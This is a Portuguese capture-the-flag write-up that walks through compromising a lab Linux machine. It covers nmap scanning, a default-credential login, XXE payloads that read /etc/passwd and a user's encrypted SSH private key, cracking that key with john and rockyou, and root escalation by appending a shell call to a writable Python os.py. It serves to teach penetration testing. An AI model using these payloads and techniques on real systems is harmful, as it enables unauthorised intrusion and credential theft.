Informações sobre a maquina:

Pontos: 100

Nível: Medio

SO: Linux


Começando fiz uma breve varredura com nmap

$ **nmap -Pn -sV -A 10.9.2.12** 

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

Localizado a porta 80/tcp, vamos acessar a web do servidor

Consegui logar com admin:admin

Consegui logar com admin:admin

Clicando em Submit(sem digitar nada na box) recebi um Alert dizendo "Insert XML Code!". Então vamos criar um código simples em XML.

Untitled

Antes de criar a payload, decidi digitar qualquer coisa na box e tive o seguinte resposta.

Acredito que as tags do XML devem ser com esses nomes ( Name, Author e Comment ). Agora vamos criar nossa payload XXE

Acredito que as tags do XML devem ser com esses nomes ( Name, Author e Comment ). Agora vamos criar nossa payload XXE

<!DOCTYPE xxe 
[
<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]> 
<box> 
<name>teste</name>  
<author>&payload;</author>
<comment>comment</comment>
</box>

Tivemos o retorno de um base64 na tag author. Interessante.

Untitled

Decodificamos o base64 e tivemos o seguinte retorno.

Site usado para decodificar: https://www.base64decode.org/

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
suporte:x:1001:1001:,,,:/home/suporte:/bin/bash

Bom já tentei de cara buscar pela flag.txt no /(barra), nenhum retorno. Então vamos pesquisar por arquivos interessantes, como /etc/sudoers, /etc/shadow. Nada de interessante. Busquei também por chaves rsa dentro dos diretórios home dos usuários ubuntu e suporte

<!DOCTYPE xxe 
[
<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/home/suporte/.ssh/id_rsa">
]> 
<box> 
<name>teste</name>  
<author>&payload;</author>
<comment>comment</comment>
</box>

Opa, parece que tem algo interessante aqui. Vamos fazer um decode dessa hash.

Untitled

E temos la nossa linda chave rsa

Porem a nossa chave RSA está encriptada, mas o nosso querido John consegue resolver isso pra gente, então vamos usar o ssh2john para deixar no formato que o john entenda.

Porem a nossa chave RSA está encriptada, mas o nosso querido John consegue resolver isso pra gente, então vamos usar o ssh2john para deixar no formato que o john entenda.

Tools para formatar o rsa

https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py

-> Coloque a chave em um **ARQUIVO**
-> Execute o comando: **python3 ssh2john.py ARQUIVO > NOVO_ARQUIVO**

O resultado do **NOVO_ARQUIVO**, tem que ser mais ou menos isso
***idrsa:$sshng$1$16$04A3681D22...***

Agora vamos rodar o john para decodificar a senha. Podemos usar a wordlist rockyou.txt

https://github.com/praetorian-inc/Hob0Rules/blob/master/wordlists/rockyou.txt.gz


john --wordlist=rockyou.txt **NOVO_ARQUIVO

resultado:**
┌──(kali㉿kali)-[~]
└─$ john rsa.txt --wordlist=rockyou.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
**1qazXXXXXXXXX         (idrsa)**     
1g 0:00:00:00 DONE (2022-06-23 22:32) 100.0g/s 2090Kp/s 2090Kc/s 2090KC/s 999000..199213
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Agora com a senha, podemos acessa via ssh com usuário suporte e a chave rsa.

Tamo dentro !

Tamo dentro !

Fiz uma breve pesquisa em diretórios conhecidos, e acabei encontrando algo interessando na pasta /opt

De cara já pegamos nossa flag de usuario no arquivo user.txt.

De cara já pegamos nossa flag de usuario no arquivo user.txt.

Nesse arquivo vert.py, acredito que ele esteja calculando alguns vetores/valores, e importando uma biblioteca chamada os, infelizmente entendo pouco de python, mas sei que é "possível" editar uma biblioteca que é importada, então vamos pesquisar por ela.

Com esse comando já pesquisamos pela biblioteca os.py e já verificamos quais as permissões de cada.

for i in $(find / -name os.py 2> /dev/null); do ls -liah $i; done

Untitled

Podemos ver que temos permissão de escrita no arquivo /usr/lib/python3.6/os.py, interessante, mas será que podemos executar python com privilégios de root!? Vamos no famoso sudo -l

Olha só, temos permissão e ainda no arquivo que encontramos no /opt.

Olha só, temos permissão e ainda no arquivo que encontramos no /opt.

Vamos adicionar uma linha no final do arquivo os.py chamando uma shell.

echo 'system("/bin/bash")' >> /usr/lib/python3.6/os.py

E está lá nossa linha chamando a shell.

E está lá nossa linha chamando a shell.

Agora vamos executar o arquivo vert.py utilizando o sudo

sudo /usr/bin/python3.6 /opt/vert.py

E ai está, um lindo privsec.

E ai está, um lindo privsec.

Agora é só pegar a segunda flag e concluir a maquina.